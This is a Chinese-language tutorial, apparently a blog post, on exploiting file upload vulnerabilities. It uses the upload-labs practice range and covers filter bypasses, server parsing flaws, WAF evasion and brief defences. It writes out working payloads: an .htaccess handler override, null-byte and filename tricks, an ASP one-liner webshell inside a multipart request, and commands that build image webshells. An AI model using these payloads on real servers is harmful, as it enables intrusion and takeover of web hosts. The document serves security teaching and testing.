0x01 漏洞简介
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种漏洞是getShell最快最直接的方法之一。
常见场景是web服务器允许用户上传图片或者普通文本文件保存,而用户绕过上传机制上传恶意代码并执行从而控制服务器。
0x02 漏洞靶场
1. 靶场简介
upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。
2. 环境要求
配置项 | 配置 | 描述 |
---|---|---|
操作系统 | Window or Linux | 推荐使用Windows,除了Pass-19必须在linux下,其余Pass都可以在Windows上运行 |
PHP版本 | 推荐5.2.17 | 其他版本可能会导致部分Pass无法突破 |
PHP组件 | php_gd2,php_exif | 部分Pass依赖这两个组件 |
中间件 | 设置Apache以moudel方式连接 |
3. Windows 搭建
项目提供了一个Windows下,按照以上配置要求配置好的集成环境
下载地址:https://github.com/c0ny1/upload-labs/releases
集成环境绿色免安装,解压即可使用。
4. Linux 搭建
创建镜像
代码语言:javascript复制$ cd upload-labs/docker
$ docker build -t upload-labs .
或者
$ docker pull c0ny1/upload-labs
创建容器
代码语言:javascript复制$ docker run -d -p 80:80 upload-labs:latest
0x03 客户端绕过
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名是否合法,有白名单和黑名单两种形式。
- 直接删除网页代码中关于文件上传时验证上传文件的js代码即可。
- 利用Burp改包,由于只是js验证,我们可以先将文件重命名为js允许的后缀名,然后在用burp发送数据包时候改成我们想要的后缀名,如:jsp、php、asp等。
0x04 服务端绕过
1. 检查后缀:黑名单
1.1 特殊后缀名
黑名单处理过滤了文件后缀,我们可以通过特殊可解析后缀进行绕过。
代码语言:javascript复制jsp jspx jspf
asp asa cer aspx
php1 php2 php3 php4 phtml
exe exee
1.2 上传.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以实现:网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
利用代码如下
代码语言:javascript复制<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
通过.htaccess文件,调用php的解析器解析一个文件名只要包含“shell”这个字符串的任意文件。这个“shell”的内容如果是一句话木马,就可以利用中国菜刀进行连接。
.htaccess可以用notepad 创建保存
也可以利用图片马上传,生成图片马的cmd命令如下
代码语言:javascript复制copy 1.jpg/b 1.php/a 2.jpg
漏洞意义
- 如果可以上传.htaccess文件,就可以利用规则解析
- 如果存在修改.htaccess文件权限,那么直接修改规则解析
- 利用解析漏洞,将一句话木马写入其他格式的文件,达到权限维持
1.3 后缀大小写绕过
黑名单没有没有对限制的文件名大小写进行统一。比如过滤了php,则可以用Php、pHP、PHP、pHp等方式绕过。
1.4 空格绕过
黑名单没有对文件中的空格进行处理,可在后缀名中加空格绕过。
用Burp抓包,在 filename 参数双引号内,文件名后面,加空格绕过。
代码语言:javascript复制filename="1.PHP "
1.5 点绕过
windows会对文件中的点进行自动去除,所以可以在文件名末尾加点绕过
代码语言:javascript复制filename="1.PHP."
1.6 ::$DATA绕过
同windows特性,同样用Burp抓包 ,然在文件后缀名中加::$DATA
绕过
filename="1.PHP::$DATA"
1.7 路径拼接绕过
源代码中,没有对文件名末尾的点符号进行绕过,并且把处理过的文件名拼接到路径中。
可以构造文件名1.PHP. .
(点 空格 点),经过处理后,文件名变成1.PHP.
,即可绕过。
1.8 双写后缀名绕过
采用双写绕过,例如:1.pphphp、1.jsjspp
2. 检查后缀:白名单
2.1 MIME绕过
burp抓包修改即可绕过,上传一个php文件,然后将 Content-type
后的内容改为合法格式,如图片类型的:image/jpeg
Content-type: image/jpeg
Content-type: application/octet-stream
2.2 截断(GET)
代码中,文件路径采用字符串拼接的方式,因此可以利用 截断绕过
用Burp抓包,在数据包第一行的url请求文件名后加上 ,抓包后的数据包第一行修改如下
代码语言:javascript复制POST /Pass-11/index.php?save_path=../upload/1.php
然后直接访问/upload/1.php即可
2.3 截断(POST)
通过post传进来的,在还是利用00截断,用Burp抓包,在二进制中找到文件名,在文件名后的位置的二进制数值进行修改为00,因为post不会像get对 进行自动解码。
接下来访问上传的文件路径即可
2.4 文件名处回车
用Burp抓包,在数据包filename的参数中对文件名后缀回车,如下:
代码语言:javascript复制filename="shell.ph
p"
3. 检查内容
3.1 文件幻数检测
主要是检测文件内容开始处的文件幻数,比如图片类型的文件幻数如下,
要绕过jpg 文件幻数检测就要在文件开头写上下图的值:
代码语言:javascript复制FF D8 FF E0 00 10 4A 46 49 46
要绕过gif 文件幻数检测就要在文件开头写上下图的值:
代码语言:javascript复制47 49 46 38 39 61
要绕过png 文件幻数检测就要在文件开头写上下面的值:
代码语言:javascript复制89 50 4E 47
要绕过gif 文件幻数检测就要在文件开头写上下图的值:
代码语言:javascript复制50 4B 03 04
然后在文件幻数后面加上自己的一句话木马代码就行了
3.2 文件相关信息检测
图像文件相关信息检测常用的就是getimagesize()函数
只需要把文件头部分伪造好就ok 了,就是在幻数的基础上还加了一些文件信息
有点像下面的结构
代码语言:javascript复制GIF89a
(...some binary data for image...)
<?php phpinfo(); ?>
(... skipping the rest of binary data ...)
图片马绕过
代码语言:javascript复制copy normal.jpg /b shell.php /a webshell.jpg
3.3 对渲染/加载测试攻击
可以用图像处理软件对一张图片进行代码注入
用winhex 看数据可以分析出这类工具的原理是
在不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区
对于渲染测试基本上都能绕过,毕竟本身的文件结构是完整的
3.4 二次渲染
imagecreatefromjpeg二次渲染它相当于是把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染在这个过程中非图像数据的部分直接就隔离开了
得去找图片经过GD库转化后没有改变的部分,再将未改变的部分修改为相应的php代码。
4. 条件竞争
先将文件上传到服务器,然后通过rename修改名称,再通过unlink删除文件,因此可以通过条件竞争的方式在unlink之前,然后不断尝试访问webshell。
0x05 结合其他漏洞
1. 服务器解析漏洞
IS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
- 形式:www.xxx.com/xx.asp/xx.jpg
- 原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。
文件解析
- 形式:www.xxx.com/xx.asp;.jpg
- 原理:服务器默认不解析
;
号后面的内容,因此xx.asp;.jpg
便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
代码语言:javascript复制/test.asa
/test.cer
/test.cdx
IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了 cgi.fix_pathinfo
,而这并不是nginx或者iis7.5本身的漏洞。
2. Apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如 test.php.qwe.asd
“.qwe
”和”.asd
” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd
解析成php。
漏洞形式
代码语言:javascript复制www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
- 如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
- 如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
修复方案
- apache配置文件,禁止.php.这样的文件执行,配置文件里面加入
- 用伪静态能解决这个问题,重写类似
.php.*
这类文件,打开apache的httpd.conf找到LoadModule rewritemodule modules/modrewrite.so 把#
号去掉,重启apache,在网站根目录下建立.htaccess文件
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .(php.|php3.) /index.php
RewriteRule .(pHp.|pHp3.) /index.php
RewriteRule .(phP.|phP3.) /index.php
RewriteRule .(Php.|Php3.) /index.php
RewriteRule .(PHp.|PHp3.) /index.php
RewriteRule .(PhP.|PhP3.) /index.php
RewriteRule .(pHP.|pHP3.) /index.php
RewriteRule .(PHP.|PHP3.) /index.php
</IfModule>
3. Nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置 SCRIPT_FILENAME
。
当访问 www.xx.com/phpinfo.jpg/1.php
这个URL时, $fastcgi_script_name
会被设置为 “phpinfo.jpg/1.php
”,然后构造成 SCRIPT_FILENAME
传递给PHP CGI.
但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:PHP会认为SCRIPTFILENAME
是phpinfo.jpg,而1.php是PATHINFO,所以就会将phpinfo.jpg作为PHP文件来解析了。
漏洞形式
代码语言:javascript复制www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg .php
www.xxxx.com/UploadFiles/image/1.jpg/ .php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
0x06 WAF 绕过
内容来自:https://www.cnblogs.com/shellr00t/p/6426945.html
1. 垃圾数据
有些主机WAF软件为了不影响web服务器的性能,会对校验的用户数据设置大小上限,比如1M。此种情况可以构造一个大文件,前面1M的内容为垃圾内容,后面才是真正的木马内容,便可以绕过WAF对文件内容的校验;
当然也可以将垃圾数据放在数据包最开头,这样便可以绕过对文件名的校验。
2. 添加filename
针对早期版本安全狗,可以多加一个filename
或者将filename换位置,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
3. POST/GET
有些WAF的规则是:如果数据包为POST类型,则校验数据包内容。 此种情况可以上传一个POST型的数据包,抓包将POST改为GET。
4. 利用waf本身缺陷
删除实体里面的Conten-Type字段
第一种是删除Content整行,第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php。
代码语言:javascript复制正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
删除Content-Disposition字段里的空格
增加一个空格导致安全狗被绕过案列:
代码语言:javascript复制Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符:
代码语言:javascript复制boundary= —————————47146314211411730218525550
修改Content-Disposition字段值的大小写
Boundary边界不一致
每次文件上传时的Boundary边界都是一致的:
代码语言:javascript复制Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099
Content-Length: 253
-----------------------------4714631421141173021852555099
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------4714631421141173021852555099--
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得waf认为这段数据是无意义的,可是容器并没有那么严谨: Win2k3 IIS6.0 ASP
文件名处回车
多个Content-Disposition
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过,Win2k8 IIS7.0 PHP
利用NTFS ADS特性
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果waf对请求正文的filename匹配不当的话可能会导致绕过
文件重命名绕过
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
特殊的长文件名绕过
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
代码语言:javascript复制shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
0x07 漏洞防范
- 文件扩展名服务端白名单校验。
- 文件内容服务端校验。
- 上传文件重命名。
- 隐藏上传文件路径。
- 安全WAF防护软件。
参考文章
- https://www.cnblogs.com/shellr00t/p/6426945.html
- https://www.jianshu.com/p/1ccbab572974